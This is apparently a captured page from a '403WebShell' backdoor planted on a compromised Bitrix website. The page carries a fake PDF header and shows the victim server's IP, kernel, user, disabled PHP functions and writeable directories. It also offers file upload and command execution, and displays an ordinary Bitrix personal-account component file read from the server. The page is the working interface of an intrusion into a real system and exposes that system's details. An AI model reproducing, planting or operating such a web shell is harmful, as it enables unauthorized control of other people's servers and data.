%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.40.212
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.personal.account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.personal.account/class.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();

use Bitrix\Main\Loader,
	Bitrix\Main\Type\Date,
	Bitrix\Main\Localization\Loc;

class PersonalAccountComponent extends CBitrixComponent
{
	const E_SALE_MODULE_NOT_INSTALLED 		= 10000;
	const E_NOT_AUTHORIZED					= 10001;
	/**
	 * @return bool
	 * @throws \Bitrix\Main\LoaderException
	 */
	protected function checkRequirements()
	{
		global $USER, $APPLICATION;

		if (!Loader::includeModule("sale"))
		{
			$this->arResult['ERRORS'][self::E_SALE_MODULE_NOT_INSTALLED] = GetMessage("SALE_MODULE_NOT_INSTALL");
			return false;
		}

		if (!CBXFeatures::IsFeatureEnabled('SaleAccounts'))
			return false;

		if (!$USER->IsAuthorized())
		{
			if ($this->arParams['AUTH_FORM_IN_TEMPLATE'] !== 'Y')
			{
				$APPLICATION->AuthForm(GetMessage("SALE_ACCESS_DENIED"), false, false, 'N', false);
			}
			else
			{
				$this->arResult['ERRORS'][self::E_NOT_AUTHORIZED] = GetMessage("SALE_ACCESS_DENIED");
			}
			return false;
		}

		return true;
	}

	/**
	 * PersonalAccountComponent constructor.
	 *
	 * @param null $component
	 */
	public function __construct($component = null)
	{
		parent::__construct($component);

		Loc::loadMessages(__FILE__);
	}

	/**
	 * Execute component
	 *
	 * @return void
	 */
	public function executeComponent()
	{
		global $APPLICATION;

		$this->arResult["ERRORS"] = array();

		if($this->arParams["SET_TITLE"] == 'Y')
		{
			$APPLICATION->SetTitle(GetMessage("SPA_TITLE"));
		}

		if ($this->checkRequirements())
		{
			$this->obtainAccountData();
		}

		$this->includeComponentTemplate();
	}

	private function obtainAccountData()
	{
		global $USER;

		$resultTemplate= array();

		$objDateTime = new Date();
		$this->arResult["DATE"] = $objDateTime->toString();

		$accountList = CSaleUserAccount::GetList(
			array("CURRENCY" => "ASC"),
			array("USER_ID" => (int)($USER->GetID())),
			false,
			false,
			array("ID", "CURRENT_BUDGET", "CURRENCY", "TIMESTAMP_X")
		);

		$currencyList = array();
		$currencyIterator = Bitrix\Currency\CurrencyTable::getList(array(
			'select' => array('CURRENCY', 'FULL_NAME' => 'CURRENT_LANG_FORMAT.FULL_NAME', 'SORT'),
			'order' => array('SORT' => 'ASC', 'CURRENCY' => 'ASC')
		));
		while ($currency = $currencyIterator->fetch())
		{
			$currencyList[$currency['CURRENCY']] = (string)$currency['FULL_NAME'];
		}

		$baseCurrencyCode = Bitrix\Sale\Internals\SiteCurrencyTable::getSiteCurrency(SITE_ID);
		$this->arResult['BASE_CURRENCY'] =  array(
			"CODE" => $baseCurrencyCode,
			"TEXT" => $currencyList[$baseCurrencyCode]
		);

		while ($account = $accountList->Fetch())
		{
			$resultTemplate["CURRENCY"] = $account["CURRENCY"];
			$resultTemplate["ACCOUNT_LIST"] = $account;
			$resultTemplate["INFO"] = Loc::getMessage(
				"SPA_IN_CUR",
				array(
					"#CURRENCY#" => $resultTemplate["CURRENCY"],
					"#SUM#" => SaleFormatCurrency($account["CURRENT_BUDGET"], $account["CURRENCY"]),
				));
			$resultTemplate["CURRENCY_FULL_NAME"] = $currencyList[$account['CURRENCY']];
			$resultTemplate["SUM"] =  SaleFormatCurrency($account["CURRENT_BUDGET"], $account["CURRENCY"]);
			$this->arResult["ACCOUNT_LIST"][] = $resultTemplate;
		}
		if (empty($this->arResult["ACCOUNT_LIST"]))
		{
			$this->arResult["ACCOUNT_LIST"][] = array(
				'SUM' => SaleFormatCurrency(0, $this->arResult['BASE_CURRENCY']['CODE']),
				'CURRENCY' => $this->arResult['BASE_CURRENCY']['CODE'],
				'CURRENCY_FULL_NAME' => $this->arResult['BASE_CURRENCY']['TEXT']
			);
			$this->arResult["ERROR_MESSAGE"] = Loc::getMessage("SPA_NO_ACCOUNT");
			$this->arResult["ERRORS"][] = Loc::getMessage("SPA_NO_ACCOUNT");
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit